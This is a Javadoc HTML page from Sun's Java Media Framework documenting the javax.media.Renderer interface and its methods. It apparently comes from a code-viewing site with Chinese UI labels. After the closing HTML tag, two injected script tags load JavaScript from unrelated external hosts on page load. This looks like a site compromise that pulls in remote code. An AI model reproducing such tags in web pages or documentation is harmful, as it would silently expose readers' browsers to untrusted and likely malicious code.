📄 renderer.html
字号:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Frameset//EN""http://www.w3.org/TR/REC-html40/frameset.dtd"><!--NewPage--><HTML><HEAD><!-- Generated by javadoc on Sat May 20 18:57:44 PDT 2000 --><TITLE>: Interface Renderer</TITLE><LINK REL ="stylesheet" TYPE="text/css" HREF="../../stylesheet.css" TITLE="Style"></HEAD><BODY BGCOLOR="white"><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_top"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_top_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3"> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A> </TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A> </TD> </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../javax/media/Processor.html"><B>PREV CLASS</B></A> <A HREF="../../javax/media/TimeBase.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../index.html" TARGET="_top"><B>FRAMES</B></A> <A HREF="Renderer.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY: INNER | FIELD | CONSTR | <A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: FIELD | CONSTR | <A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><!-- ======== START OF CLASS DATA ======== --><H2><FONT SIZE="-1">javax.media</FONT><BR>Interface Renderer</H2><DL><DT><B>All Known Subinterfaces:</B> <DD><A HREF="../../javax/media/renderer/VideoRenderer.html">VideoRenderer</A></DD></DL><HR><DL><DT>public interface <B>Renderer</B><DT>extends <A HREF="../../javax/media/PlugIn.html">PlugIn</A></DL><P>A <code>Renderer</code> is a media processing unit that renders input media to a pre-defined destination, such as the screen or system speaker. It has one input and no outputs--rendering is the final stage of the media processing pipeline. <p> If a <code>Renderer</code> implements the <code>Clock</code> interface, it can be used by a <code>Player</code> as the master time base for synchronization. In this case, the <code>Renderer</code> should update the media time and time-base time as it processes the media.<P><DL><DT><B>Since: </B><DD>JMF 2.0</DD></DL><HR><P><!-- ======== INNER CLASS SUMMARY ======== --><!-- =========== FIELD SUMMARY =========== --><A NAME="fields_inherited_from_class_javax.media.PlugIn"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor"><TD><B>Fields inherited from interface javax.media.<A HREF="../../javax/media/PlugIn.html">PlugIn</A></B></TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD><CODE><A HREF="../../javax/media/PlugIn.html#BUFFER_PROCESSED_FAILED">BUFFER_PROCESSED_FAILED</A>, <A HREF="../../javax/media/PlugIn.html#BUFFER_PROCESSED_OK">BUFFER_PROCESSED_OK</A>, <A HREF="../../javax/media/PlugIn.html#INPUT_BUFFER_NOT_CONSUMED">INPUT_BUFFER_NOT_CONSUMED</A>, <A HREF="../../javax/media/PlugIn.html#OUTPUT_BUFFER_NOT_FILLED">OUTPUT_BUFFER_NOT_FILLED</A>, <A HREF="../../javax/media/PlugIn.html#PLUGIN_TERMINATED">PLUGIN_TERMINATED</A></CODE></TD></TR></TABLE> <!-- ======== CONSTRUCTOR SUMMARY ======== --><!-- ========== METHOD SUMMARY =========== --><A NAME="method_summary"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=2><FONT SIZE="+2"><B>Method Summary</B></FONT></TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE> <A HREF="../../javax/media/Format.html">Format</A>[]</CODE></FONT></TD><TD><CODE><B><A HREF="../../javax/media/Renderer.html#getSupportedInputFormats()">getSupportedInputFormats</A></B>()</CODE><BR> Lists the input formats supported by this <CODE>Renderer</CODE>.</TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE> int</CODE></FONT></TD><TD><CODE><B><A HREF="../../javax/media/Renderer.html#process(javax.media.Buffer)">process</A></B>(<A HREF="../../javax/media/Buffer.html">Buffer</A> buffer)</CODE><BR> Processes the data and renders it to the output device represented by this <CODE>Renderer</CODE>.</TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE> <A HREF="../../javax/media/Format.html">Format</A></CODE></FONT></TD><TD><CODE><B><A HREF="../../javax/media/Renderer.html#setInputFormat(javax.media.Format)">setInputFormat</A></B>(<A HREF="../../javax/media/Format.html">Format</A> format)</CODE><BR> Sets the <CODE>Format</CODE> of the input data.</TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE> void</CODE></FONT></TD><TD><CODE><B><A HREF="../../javax/media/Renderer.html#start()">start</A></B>()</CODE><BR> Initiates the rendering process.</TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE> void</CODE></FONT></TD><TD><CODE><B><A HREF="../../javax/media/Renderer.html#stop()">stop</A></B>()</CODE><BR> Halts the rendering process.</TD></TR></TABLE> <A NAME="methods_inherited_from_class_javax.media.PlugIn"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor"><TD><B>Methods inherited from interface javax.media.<A HREF="../../javax/media/PlugIn.html">PlugIn</A></B></TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD><CODE><A HREF="../../javax/media/PlugIn.html#close()">close</A>, <A HREF="../../javax/media/PlugIn.html#getName()">getName</A>, <A HREF="../../javax/media/PlugIn.html#open()">open</A>, <A HREF="../../javax/media/PlugIn.html#reset()">reset</A></CODE></TD></TR></TABLE> <A NAME="methods_inherited_from_class_javax.media.Controls"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor"><TD><B>Methods inherited from interface javax.media.<A HREF="../../javax/media/Controls.html">Controls</A></B></TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD><CODE><A HREF="../../javax/media/Controls.html#getControl(java.lang.String)">getControl</A>, <A HREF="../../javax/media/Controls.html#getControls()">getControls</A></CODE></TD></TR></TABLE> <P><!-- ============ FIELD DETAIL =========== --><!-- ========= CONSTRUCTOR DETAIL ======== --><!-- ============ METHOD DETAIL ========== --><A NAME="method_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Method Detail</B></FONT></TD></TR></TABLE><A NAME="getSupportedInputFormats()"><!-- --></A><H3>getSupportedInputFormats</H3><PRE>public <A HREF="../../javax/media/Format.html">Format</A>[] <B>getSupportedInputFormats</B>()</PRE><DL><DD>Lists the input formats supported by this <CODE>Renderer</CODE>.<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD>An array of <CODE>Format</CODE> objects that represent the input formats supported by this <CODE>Renderer</CODE>.</DL></DD></DL><HR><A NAME="setInputFormat(javax.media.Format)"><!-- --></A><H3>setInputFormat</H3><PRE>public <A HREF="../../javax/media/Format.html">Format</A> <B>setInputFormat</B>(<A HREF="../../javax/media/Format.html">Format</A> format)</PRE><DL><DD>Sets the <CODE>Format</CODE> of the input data.<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD>The <CODE>Format</CODE> that was set. This is typically the supported <CODE>Format</CODE> that most closely matches the specified <CODE>Format</CODE>. If possible, the format fields that were not specified are set to the preferred values in the returned <CODE>Format</CODE>. Returns null if the specified <CODE>Format</CODE> is not supported.</DL></DD></DL><HR><A NAME="start()"><!-- --></A><H3>start</H3><PRE>public void <B>start</B>()</PRE><DL><DD>Initiates the rendering process. When <CODE>start</CODE> is called, the renderer begins rendering any data available in its internal buffers.<DD><DL></DL></DD></DL><HR><A NAME="stop()"><!-- --></A><H3>stop</H3><PRE>public void <B>stop</B>()</PRE><DL><DD>Halts the rendering process.<DD><DL></DL></DD></DL><HR><A NAME="process(javax.media.Buffer)"><!-- --></A><H3>process</H3><PRE>public int <B>process</B>(<A HREF="../../javax/media/Buffer.html">Buffer</A> buffer)</PRE><DL><DD>Processes the data and renders it to the output device represented by this <CODE>Renderer</CODE>.<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD><CODE>BUFFER_PROCESSED_OK</CODE> if the processing is successful. Other possible return codes are defined in <CODE>PlugIn</CODE>.<DT><B>See Also: </B><DD><A HREF="../../javax/media/PlugIn.html"><CODE>PlugIn</CODE></A></DL></DD></DL><!-- ========= END OF CLASS DATA ========= --><HR><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_bottom"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_bottom_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3"> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A> </TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A> </TD> </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../javax/media/Processor.html"><B>PREV CLASS</B></A> <A HREF="../../javax/media/TimeBase.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../index.html" TARGET="_top"><B>FRAMES</B></A> <A HREF="Renderer.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY: INNER | FIELD | CONSTR | <A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: FIELD | CONSTR | <A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><font size="-1"> <a href="mailto:jmf-bugs@sun.com">Submit a bug or feature</a> <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road, Palo Alto, California, 94303, U.S.A. All Rights Reserved. See the <a href="spec-license.html">Specification License</a> for more details. <br>Sun, Sun Microsystems, and Java are trademarks or registered trademarks of Sun Microsystems, Inc. in the US and other countries.</font></BODY></HTML>
<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -